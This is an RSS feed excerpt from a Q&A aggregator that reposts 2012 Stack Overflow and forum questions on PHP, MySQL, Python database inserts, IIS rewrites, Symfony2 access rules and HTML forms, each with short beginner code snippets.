<pubDate>Tue, 07 Feb 2012 08:07:12 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/dreamweaver-cs5-forms-1/</guid>
<description><![CDATA[Hello, <br />   <br /> I'm new on this forum and almost on Dreamweaver CS5. I almost have my webpage  but I need to make a page to "apply". Is a paper form (4 sheets) and we want to  put it on the webpage and when the user fills all the form, just press "submit"  and send it to an email, all the information....<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[IIS 7.5 URL Rewrite problems - please help]]></title>
<link>http://www.globberstack.com/Questions/iis-7-5-url-rewrite-problems-please-help-1/</link>
<comments>http://www.globberstack.com/Questions/iis-7-5-url-rewrite-problems-please-help-1/</comments>
<pubDate>Tue, 07 Feb 2012 08:02:49 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/iis-7-5-url-rewrite-problems-please-help-1/</guid>
<description><![CDATA[Hello, <br />        I am trying to get a URL rewrite so it takes a URL for e.g. my.site.com and rewrites it to Tech Support Forum | Experts Online now for FREE Support! (http://localhost:8080) . I keep getting the default homepage instead of it being redirected. I have configured the rewrite as follows...<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Python / MySQL (MySQLdb) - testing the 'insert' function - its not adding rows. Why?]]></title>
<link>http://www.globberstack.com/Questions/python-mysql-mysqldb-testing-the-insert-function-its-not-adding-rows-why-1/</link>
<comments>http://www.globberstack.com/Questions/python-mysql-mysqldb-testing-the-insert-function-its-not-adding-rows-why-1/</comments>
<pubDate>Tue, 07 Feb 2012 07:58:18 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/python-mysql-mysqldb-testing-the-insert-function-its-not-adding-rows-why-1/</guid>
<description><![CDATA[<br />            <p>I'm trying to figure out how to use the MySQLdb library in python (I am novice at best for both of them).</p><br /><br /><p>I'm following the code here: <a href="http://www.kitebird.com/articles/pydbapi.html" rel="nofollow">http://www.kitebird.com/articles/pydbapi.html</a></p><br /><br /><p>Specifically:</p><br /><br /><pre><code>cursor = conn.cursor ()<br />cursor.execute ("DROP TABLE IF EXISTS animal")<br />cursor.execute ("""<br />   CREATE TABLE animal<br />   (<br />     name     CHAR(40),<br />     category CHAR(40)<br />   )<br /> """)<br />cursor.execute ("""<br />   INSERT INTO animal (name, category)<br />   VALUES<br />     ('snake', 'reptile'),<br />     ('frog', 'amphibian'),<br />     ('tuna', 'fish'),<br />     ('racoon', 'mammal')<br /> """)<br />print "Number of rows inserted: %d" % cursor.rowcount<br />cursor.close ()<br />conn.close ()<br /></code></pre><br /><br /><p>I have poked around it, and can get it to create tables or drop tables by changing the basic code, but I can't get it to actually commit the INSERT. It returns the row.count value as expected (even when I change the value table, it changes to what I expect it to be). </p><br /><br /><p>Everytime I look into the db (via PHPMyAdmin) there are no inserts made. </p><br /><br /><p>Can anyone point me in the right direction? </p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1191626" rel="nofollow">Jay Gattuso</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Get/filter table-row content from PHP]]></title>
<link>http://www.globberstack.com/Questions/getfilter-table-row-content-from-php-1/</link>
<comments>http://www.globberstack.com/Questions/getfilter-table-row-content-from-php-1/</comments>
<pubDate>Tue, 07 Feb 2012 07:56:26 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/getfilter-table-row-content-from-php-1/</guid>
<description><![CDATA[<br />            <p>How do I get all the TITLE and LINKS reading from a file ?</p><br /><br /><p>A sample content of the file below</p><br /><br /><pre><code>&lt;tr class="odd"&gt;<br /> &lt;td align="left" valign="top" class="text_cont_normal"&gt; TITLE &lt;/td&gt;<br /> &lt;td align="left" valign="top" class="normal_text_link"&gt;<br />  &lt;img border="0" onclick="javascript:window.location.href='LINK'" style="cursor: pointer;" alt="Download"  src="btn.jpg"/&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br />&lt;tr class="even"&gt;<br /> &lt;td align="left" valign="top" class="text_cont_normal"&gt; TITLE2 &lt;/td&gt;<br /> &lt;td align="left" valign="top" class="normal_text_link"&gt;<br />  &lt;img border="0" onclick="javascript:window.location.href='LINK2'" style="cursor: pointer;" alt="Download"  src="btn.jpg"/&gt;&lt;/td&gt;<br />&lt;/tr&gt;<br /></code></pre><br /><br /><p>I tried </p><br /><br /><pre><code>$tags = $doc-&gt;getElementsByTagName('img');<br />foreach ($tags as $tag) {<br /> if ($tag-&gt;hasAttribute('onclick'))<br />    echo $tag-&gt;getAttribute('onclick').'&lt;br&gt;';<br />}<br /></code></pre><br /><br /><p>But not getting the data which I actually want !</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/683233" rel="nofollow">Sourav</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Conditional sql WHERE clause based on column values]]></title>
<link>http://www.globberstack.com/Questions/conditional-sql-where-clause-based-on-column-values-1/</link>
<comments>http://www.globberstack.com/Questions/conditional-sql-where-clause-based-on-column-values-1/</comments>
<pubDate>Tue, 07 Feb 2012 07:55:44 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/conditional-sql-where-clause-based-on-column-values-1/</guid>
<description><![CDATA[<br />            <p>I have a table that stores users. Every user has an <code>ID</code>, a <code>Name</code> and an <code>Access Level</code>. The three possible <code>Access Levels</code> are <code>Administrator</code>, <code>Manager</code> and <code>Simple User</code>. </p><br /><br /><p>What I want is to conditionally select from this table based on the <code>Access Level</code> value. I demonstrate the logic bellow:</p><br /><br /><ol><br /><li>If user is <code>Administrator</code>, then select all users (<code>Administrators, Managers, Simple Users</code>)</li><br /><li>Else if user is <code>Manager</code> select all <code>Managers</code> and all <code>Simple Users</code></li><br /><li>Else if user is <code>Simple User</code> select only himself</li><br /></ol><br /><br /><p>Is that possible?</p><br /><br /><p>Thanks in advance.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1194545" rel="nofollow">Theodore</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Removing white space and newlines from a database]]></title>
<link>http://www.globberstack.com/Questions/removing-white-space-and-newlines-from-a-database-1/</link>
<comments>http://www.globberstack.com/Questions/removing-white-space-and-newlines-from-a-database-1/</comments>
<pubDate>Tue, 07 Feb 2012 07:54:48 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/removing-white-space-and-newlines-from-a-database-1/</guid>
<description><![CDATA[<br />            <p>Here's how the data in my database looks like:</p><br /><br /><pre><code>&amp;nbsp;<br />&amp;nbsp;<br />[translate lang=ar]<br /></code></pre><br /><br /><p>What I'm trying to do is to get this data from the database starting with [translate lang=ar and do a substr on it to start from ar (after the equal sign).</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/805489" rel="nofollow">Mohamed Said</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[how to create a line break in a loop]]></title>
<link>http://www.globberstack.com/Questions/how-to-create-a-line-break-in-a-loop-1/</link>
<comments>http://www.globberstack.com/Questions/how-to-create-a-line-break-in-a-loop-1/</comments>
<pubDate>Tue, 07 Feb 2012 07:49:44 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/how-to-create-a-line-break-in-a-loop-1/</guid>
<description><![CDATA[<br />            <p>In the code below I would to add a break tag tag after the radio button displays 5 times. I tried few ways but keep getting the entire number of radio button to repeat. </p><br /><br /><pre><code>foreach ($salary_tbl as $key=&gt;$value) {<br />    echo "&lt;span class=\"year\"&gt;$key&lt;/span&gt;&lt;input class=\"margin_r36\" type=\"radio\" value='$value' name='salary_tbl' /&gt;&lt;br /&gt;";<br />  }<br /></code></pre><br /><br /><p>this is what I tried</p><br /><br /><pre><code>for ($i=1; $i&lt;=10; $i++) {<br /> if ($i &lt; 5) {<br />    foreach ($salary_tbl as $key=&gt;$value) {<br />     echo "&lt;span class=\"year\"&gt;$key&lt;/span&gt;&lt;input class=\"margin_r36\" type=\"radio\" value='$value' name='salary_tbl' /&gt;&lt;br /&gt;";<br />   }<br />  }<br /> }<br /></code></pre><br /><br /><p>Thanks</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/747796" rel="nofollow">user747796</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Create Advanced Reporting - Moodle]]></title>
<link>http://www.globberstack.com/Questions/create-advanced-reporting-moodle-1/</link>
<comments>http://www.globberstack.com/Questions/create-advanced-reporting-moodle-1/</comments>
<pubDate>Tue, 07 Feb 2012 07:46:15 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/create-advanced-reporting-moodle-1/</guid>
<description><![CDATA[<br />            <p>I am really a newbie to Moodle and I have got this advanced functionality to build for a client's Moodle site as quickly as I can. I have been reading a lot about Moodle through its documentation and any other online resources I can found but thought of taking some help from the experts out here too. </p><br /><br /><p>I am looking forward to build an advanced reporting feature where different role users have the permissions to view advanced reports (high level, overview level, individual)down their hierarchy. </p><br /><br /><p>The report data would be based on organization hierarchy i.e. say a manager can view a department report, within a dept he can select any of the sections, within a section, he can select any area and eventually any individual within that area.</p><br /><br /><p>I need to write a separate plugin for this so that future upgrades don't over ride the changes. Can any one give me a starting point as to how to go about this one? Any links, pointers or suggestions would be useful as I am totally new with Moodle right now?</p><br /><br /><p>Thanks.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1033814" rel="nofollow">ivn</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[how to have 2 actions on 1 submit button]]></title>
<link>http://www.globberstack.com/Questions/how-to-have-2-actions-on-1-submit-button-1/</link>
<comments>http://www.globberstack.com/Questions/how-to-have-2-actions-on-1-submit-button-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:45:22 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/how-to-have-2-actions-on-1-submit-button-1/</guid>
<description><![CDATA[<br />            <p>I have a form with a submit button. When the submit button is clicked it sends the information to mysql. This is all working however it when submit button is clicked it just reloads the page. I want it to to go to send the info to mysql then go to page thankyou.html.</p><br /><br /><p>my submit button is:</p><br /><br /><pre><code>&lt;input type="submit" name="submit" id="submit" value="Submit" /&gt; <br /></code></pre><br /><br /><p>my form action is:</p><br /><br /><pre><code>&lt;form name="list"; action="&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;" method="post" &gt;<br /></code></pre><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1191294" rel="nofollow">user1191294</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Updating each column with different value]]></title>
<link>http://www.globberstack.com/Questions/updating-each-column-with-different-value-1/</link>
<comments>http://www.globberstack.com/Questions/updating-each-column-with-different-value-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:43:43 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/updating-each-column-with-different-value-1/</guid>
<description><![CDATA[<br />            <p>im a new guy in php i want help ,i google a lot about it but couldn't figure it out, what i want to do is write ips of sites that are stored in database in a row known as url i use gethostbyname to get ip now what i want to do is get ip of that site stored in url row and store that IP in ips row of the table but im nt able to do it only the first rows URL IP is written in all of the ips columns please tell me how to write each URL's ip in the ips column of the corresponding row<br />Thanks :))</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1192521" rel="nofollow">Syed Saqib Nadvi</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Event Page - ATTENDING OR NOT ATTENDING - How would I implement this?]]></title>
<link>http://www.globberstack.com/Questions/event-page-attending-or-not-attending-how-would-i-implement-this-1/</link>
<comments>http://www.globberstack.com/Questions/event-page-attending-or-not-attending-how-would-i-implement-this-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:42:30 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/event-page-attending-or-not-attending-how-would-i-implement-this-1/</guid>
<description><![CDATA[<br />            <p>I need to add these two buttons to the events pages of my website. </p><br /><br /><p>Basically, just like any other event page you might come across online, for example Facebook,<br />you get the option to say whether you are attending or not attending the event.</p><br /><br /><p>And there is a section on the page with a number of people attending etc.</p><br /><br /><p>I would like to know the best solution to tackle this. </p><br /><br /><p>I'm not asking you to code it for me, just to point me in the right direction. <br />I was thinking of something like, if the user clicks attending, their username or id is put into the database where the event exists and is added to an attending field in some kind of array format. Same for if they choose to not attend but in a notAttending field.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1192404" rel="nofollow">Ben Toms</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[How to start a new session (PHP, WAMP)?]]></title>
<link>http://www.globberstack.com/Questions/how-to-start-a-new-session-php-wamp-1/</link>
<comments>http://www.globberstack.com/Questions/how-to-start-a-new-session-php-wamp-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:42:28 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/how-to-start-a-new-session-php-wamp-1/</guid>
<description><![CDATA[<br />            <p>All,</p><br /><br /><p>Probably a stupid question, but I'm developing a small site using WAMP (and Firefox to display the HTML produced), and I can't find a way to start my site with a new session.  The session persists from one window to the next, with all the user data in session, page count, etc.</p><br /><br /><p>How can I start a new session?</p><br /><br /><p>Thanks,</p><br /><br /><p>JDelage</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/98361" rel="nofollow">JDelage</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[How to build unlimited level of menu through PHP and mysql]]></title>
<link>http://www.globberstack.com/Questions/how-to-build-unlimited-level-of-menu-through-php-and-mysql-1/</link>
<comments>http://www.globberstack.com/Questions/how-to-build-unlimited-level-of-menu-through-php-and-mysql-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:42:14 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/how-to-build-unlimited-level-of-menu-through-php-and-mysql-1/</guid>
<description><![CDATA[<br />            <p>Well, to build my menu my menu I use a db similar structure like this </p><br /><br /><pre><br />  2  Services                  0<br />  3  Photo Gallery             0<br />  4  Home                      0<br />  5  Feedback                  0<br />  6  FAQs                      0<br />  7  News & Events             0<br />  8  Testimonials              0<br /> 81  FACN                      0<br /> 83  Organisation Structure   81<br /> 84  Constitution             81<br /> 85  Council                  81<br /> 86  IFAWPCA                  81<br /> 87  Services                 81<br /> 88  Publications             81<br /></pre><br /><br /><p>To assign another submenu for existing submenu I simply assign its parent's id as its value of parent field.<br />parent 0 means top menu</p><br /><br /><p>now there is not problem while creating submenu inside another submenu</p><br /><br /><p>now this is way I fetch the submenu for the top menu</p><br /><br /><pre><code>&lt;ul class="topmenu"&gt;<br />    &lt;? $list = $obj -&gt; childmenu($parentid); <br />        //this list contains the array of submenu under $parendid<br />        foreach($list as $menu) {<br />            extract($menu);<br />            echo '&lt;li&gt;&lt;a href="#"&gt;'.$name.'&lt;/a&gt;&lt;/li&gt;';<br />        }<br />    ?&gt;<br />&lt;/ul&gt;<br /></code></pre><br /><br /><p>What I want to do is. </p><br /><br /><p>I want to check if a new menu has other child menu</p><br /><br /><p>and I want to keep on checking until it searches every child menu that is available</p><br /><br /><p>and I want to display its child menu inside its particular list item like this</p><br /><br /><pre><code>&lt;ul&gt;       <br />       &lt;li&gt;&lt;a href="#"&gt;Home&lt;/a&gt;<br />        &lt;ul class="submenu"&gt;<br />           ........ &lt;!-- Its sub menu --&gt;<br />           &lt;/ul&gt;<br />       &lt;/li&gt;<br />&lt;/ul&gt;<br /></code></pre><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/295264" rel="nofollow">Starx</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Sql (mysql) query test descendant relationship]]></title>
<link>http://www.globberstack.com/Questions/sql-mysql-query-test-descendant-relationship-1/</link>
<comments>http://www.globberstack.com/Questions/sql-mysql-query-test-descendant-relationship-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:38:59 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/sql-mysql-query-test-descendant-relationship-1/</guid>
<description><![CDATA[<br />            <p>i have a database table that stores folder information.<br />In this table there is a folder_parent field that relate this table with itself.<br />I would like to test if a folder is descendant of another folder, my problem is that i don't know tha maximun dept of relations, I don't know if is possibile to do this with just a query or i may need a recursive store procedure.</p><br /><br /><p>What do you think? thank you.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/861646" rel="nofollow">Tobia</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[PHP Mkdir if folder doesn't exist, if it does continue but add an incrementing value to the name each time]]></title>
<link>http://www.globberstack.com/Questions/php-mkdir-if-folder-doesnt-exist-if-it-does-continue-but-add-an-incrementing-value-to-the-name-each-time-1/</link>
<comments>http://www.globberstack.com/Questions/php-mkdir-if-folder-doesnt-exist-if-it-does-continue-but-add-an-incrementing-value-to-the-name-each-time-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:26:55 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/php-mkdir-if-folder-doesnt-exist-if-it-does-continue-but-add-an-incrementing-value-to-the-name-each-time-1/</guid>
<description><![CDATA[<br />            <p>I'm checking to see if a folder exists by using the file_exists function.</p><br /><br /><p>If it doesn't, I'm creating a set of folders. </p><br /><br /><p>If it does exist, I want it to carry on creating the folders but the top folder should increment an id #1 , #2 , #3 etc each time.</p><br /><br /><pre><code>if (file_exists('temp/$email')) {<br />    mkdir("temp/$email/");  <br />    mkdir("temp/$email/css");  <br />    mkdir("temp/$email/js");  <br />    mkdir("temp/$email/images"); <br /><br />} else {<br /><br />    $version = 0;<br />    $version++;<br /><br />    mkdir("temp/$email$version/");  <br />    mkdir("temp/$email$version/css");  <br />    mkdir("temp/$email$version/js");  <br />    mkdir("temp/$email$version/images"); <br />}<br /></code></pre><br /><br /><p>Something along the lines of this but obviously that won't work. How can I go about doing this?</p><br /><br /><p>Also - is there a cleaner / simpler way of doing multiple mkdirs instead of writing them out in a long list like how I've done?</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1010691" rel="nofollow">tctc91</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Why this SQL executes in MySQL and not through Eclipse?]]></title>
<link>http://www.globberstack.com/Questions/why-this-sql-executes-in-mysql-and-not-through-eclipse-1/</link>
<comments>http://www.globberstack.com/Questions/why-this-sql-executes-in-mysql-and-not-through-eclipse-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:25:44 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/why-this-sql-executes-in-mysql-and-not-through-eclipse-1/</guid>
<description><![CDATA[<br />            <p>I have the following table in MYSQL:</p><br /><br /><pre><code>  CREATE TABLE 't001_prospeccao' (<br />  'pro_id' bigint(20) NOT NULL AUTO_INCREMENT,<br />  'pro_cliente' bigint(20) NOT NULL,<br />  'pro_produto' bigint(20) NOT NULL,<br />  'pro_status' int(11) DEFAULT NULL,<br />  'pro_vlr_entabulado' double DEFAULT NULL,<br />  'pro_vlr_contratado' double DEFAULT NULL,<br />  'pro_vlr_utilizado' double DEFAULT NULL,<br />  'pro_obs' varchar(255) DEFAULT NULL,<br />  'pro_dt_visita' datetime DEFAULT NULL,<br />  'pro_dt_originacao' datetime DEFAULT NULL,<br />  'pro_protocolo' double DEFAULT NULL,<br />  'pro_correio' double DEFAULT NULL,<br />  'pro_dt_status' datetime DEFAULT NULL,<br />  'pro_funci' bigint(20) DEFAULT NULL,<br />  PRIMARY KEY ('pro_id'),<br />  UNIQUE KEY 'id_UNIQUE' ('pro_id')<br />) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=latin1<br /></code></pre><br /><br /><p>And the following INSERT statement, which executes normally in MySQL console:</p><br /><br /><pre><code>INSERT INTO t001_prospeccao (pro_cliente,pro_produto) VALUES (123456789,111)<br /></code></pre><br /><br /><p>But, on running this code in Eclipse, an error occours:</p><br /><br /><pre><code> String sql = "INSERT INTO t001_prospeccao (pro_cliente,pro_produto) VALUES (?,?);";<br /><br />            PreparedStatement stmt = connection.prepareStatement(sql);<br /><br />            try {<br />                stmt.setLong(1, p.getCliente().getMci());<br />                stmt.setLong(2, p.getProduto().getCod());<br /><br />                stmt.execute(sql);<br /><br />            } catch (SQLException e) {<br />                throw new RuntimeException(e);<br />            } finally {<br />                stmt.close();<br />            }<br /></code></pre><br /><br /><p>Error:</p><br /><br /><pre><code>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '?,?)' at line 1<br /></code></pre><br /><br /><p>Data from stmt object:</p><br /><br /><pre><code>INSERT INTO t001_prospeccao (pro_cliente,pro_produto) VALUES (123456789,111)<br /></code></pre><br /><br /><p>What should I doing wrong? Thanks in advance.</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/312808" rel="nofollow">darth_alexious</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Novice HTML table challenge]]></title>
<link>http://www.globberstack.com/Questions/novice-html-table-challenge-1/</link>
<comments>http://www.globberstack.com/Questions/novice-html-table-challenge-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:23:24 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/novice-html-table-challenge-1/</guid>
<description><![CDATA[turn this <br />Attachment 104686 (http://www.techsupportforum.com/forums/attachment.php?attachmentid=104686) <br /> <br />into this <br />Attachment 104687 (http://www.techsupportforum.com/forums/attachment.php?attachmentid=104687) <br /> <br />(basically take away the inside borders without ruining the format of the table and...<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Symfony2 FOSUserBundle security]]></title>
<link>http://www.globberstack.com/Questions/symfony2-fosuserbundle-security-1/</link>
<comments>http://www.globberstack.com/Questions/symfony2-fosuserbundle-security-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:23:01 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/symfony2-fosuserbundle-security-1/</guid>
<description><![CDATA[<br />            <p>I have weird problem. I can't close access for pages</p><br /><br /><pre><code>/registration<br />/login<br />/resetting<br /></code></pre><br /><br /><p>for already authorized users.</p><br /><br /><pre><code>access_control:<br />    - { path: ^/login$, role: IS_AUTHENTICATED_ANONYMOUSLY }<br />    - { path: ^/register, role: IS_AUTHENTICATED_ANONYMOUSLY }<br />    - { path: ^/resetting, role: IS_AUTHENTICATED_ANONYMOUSLY }<br />    - { path: ^/profile, role: ROLE_USER }<br />    - { path: ^/admin/, role: ROLE_ADMIN }<br /></code></pre><br /><br /><p>Why is user with rule ROLE_USER have access to page /login ? And how should i close it ? <br />Using templates or security.xml ? </p><br /><br /><p>How can i redirect users with rule ROLE_USER when want to access /login ? </p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/772249" rel="nofollow">twoface88</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[How to post a link to Event's feed?]]></title>
<link>http://www.globberstack.com/Questions/how-to-post-a-link-to-events-feed-1/</link>
<comments>http://www.globberstack.com/Questions/how-to-post-a-link-to-events-feed-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:15:43 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/how-to-post-a-link-to-events-feed-1/</guid>
<description><![CDATA[<br />            <p>I am trying to post a link to an Event's feed but no matter what I try it turns up as a status update without the link. </p><br /><br /><p>According to <a href="https://developers.facebook.com/docs/reference/api/event/" rel="nofollow">https://developers.facebook.com/docs/reference/api/event/</a> you can post links/posts and statuses to the feed. I post to the /[eventid]/feed with an array containing 2 elements, 'link' and 'message', the same array when posted on the feed of a user appears properly in link form. Is this a facebook bug or I'm doing something wrong?</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1190525" rel="nofollow">Kyriakos Ktorides</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Attendance Report in MySql]]></title>
<link>http://www.globberstack.com/Questions/attendance-report-in-mysql-1/</link>
<comments>http://www.globberstack.com/Questions/attendance-report-in-mysql-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:15:38 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/attendance-report-in-mysql-1/</guid>
<description><![CDATA[<br />            <p>I want to write a query to generate attendance report of employee. First I will tell you how the presence of employee is stored in my database.</p><br /><br /><p>I have following tables.</p><br /><br /><pre><code>Employee Table with Columns<br /><br />    emp_id  emp_Name   Joining_Date<br />     1      john         11-01-2012<br />     2      Scott        12-01-2012<br /><br /><br />Holiday Table<br /><br />Holiday_Name         Date <br />Chrismas          25-12-2012  <br />Dushera           08-03-2012<br />Independance Day  15-08-2012<br /><br />Leave Table<br /><br />Subject  from_Date     to_Date      Emp_Id     status <br />PL       02-01-2012    04-01-2012      1       Approved<br />CL       11-01-2012    12-01-2012      2       Declined      <br /><br /><br />Doctor Table<br /><br />Subject   Call_Date    call_Done_By(emp_id)<br /> Call     15-01-2012      1<br /> CA       21-02-2012      2<br /><br />Chemist Table<br />Subject   Call_Date    call_Done_By(emp_id)<br />Chemist   1-02-2012     2<br />Texo      21-03-2012    1<br /></code></pre><br /><br /><p>If employee is visited to doctor or chemist,that particular date is stored in that particular doctor or chemist table with employee_id</p><br /><br /><p>Now person will select year and month and he should be able to get attendance report in following format<br />Example : suppose user selects year as '2011' and month as 'Dec' then output should be </p><br /><br /><pre><code>Employee   year  Month    1  2   3   4   5   6    7.... <br /> John      2011   Nov     Y  Y   Y   Y   Y   L    S....<br /> Scott     2011   Nov     Y  Y   L   M   Y   L    S<br /></code></pre><br /><br /><p>here in output 1,2,3.... are days from 0-30 for a month which we can write using 'case'  </p><br /><br /><p>Consider if employee is present on day show its status as 'Y' else L else<br />if he gone to any customer like doctor,chemist,then replace it with 'S'.</p><br /><br /><p>So how should I write a query to achieve this output??<br />any suggestions will be helpful for me....</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1179817" rel="nofollow">PravinGate</a> on Stack Overflow<br/><br/>2 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[PHP + CSV: need to fill in the 2nd (second) column]]></title>
<link>http://www.globberstack.com/Questions/php-csv-need-to-fill-in-the-2nd-second-column-1/</link>
<comments>http://www.globberstack.com/Questions/php-csv-need-to-fill-in-the-2nd-second-column-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:14:18 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/php-csv-need-to-fill-in-the-2nd-second-column-1/</guid>
<description><![CDATA[<br />            <p>I have a PHP script that spins {text1|text2|text3} constructions<br />This is how I export spin results to csv</p><br /><br /><pre><code>$arr = array();<br />for($i=0; $i&lt;500; $i++) {<br />    $echoMe[$i] = spin($mypost);<br />    $arr[] = $echoMe[$i];<br />}<br />$arr = array_unique($arr);<br />foreach($arr as $row) {<br />    $fp = fopen('out.csv','a');<br />    fwrite($fp, $row. "\r\n");<br />    fclose($fp);<br />}<br /></code></pre><br /><br /><p>this way i paste each item in the corresponding cell of my csv file e.g.</p><br /><br /><pre><code>text1<br />text2<br />text3<br /></code></pre><br /><br /><p>the thing is that I need to perform the whole process at least 2 times<br><br />so, as i see it, i need to open out.csv, get its data, append new column, add $row data from the current iteration, repeat this N times</p><br /><br /><p>Dear stackoverflow pros, please help<br />How can I do this?</p><br /><br /><p>UPD: similar Q is here <a href="http://stackoverflow.com/questions/3465599/how-to-insert-value-in-a-particular-location-in-csv-file-using-php">how to insert value in a particular location in csv file using php</a><br />In my case i need to fill in 2nd column leaving 1st column unchanged<br />thanks,</p><br /><br />        <p>Originally asked by: <a href="http://stackoverflow.com/users/1192422" rel="nofollow">user1192422</a> on Stack Overflow<br/><br/>3 Vote(s) ]]></description>
</item>

<item>
<title><![CDATA[Elegant mysql to select,group, combine multiple rows from one table]]></title>
<link>http://www.globberstack.com/Questions/elegant-mysql-to-selectgroup-combine-multiple-rows-from-one-table-1/</link>
<comments>http://www.globberstack.com/Questions/elegant-mysql-to-selectgroup-combine-multiple-rows-from-one-table-1/</comments>
<pubDate>Mon, 06 Feb 2012 08:12:55 -0500</pubDate>
<dc:creator>topdog</dc:creator>
<category>Questions</category>
<guid>http://www.globberstack.com/Questions/elegant-mysql-to-selectgroup-combine-multiple-rows-from-one-table-1/</guid>
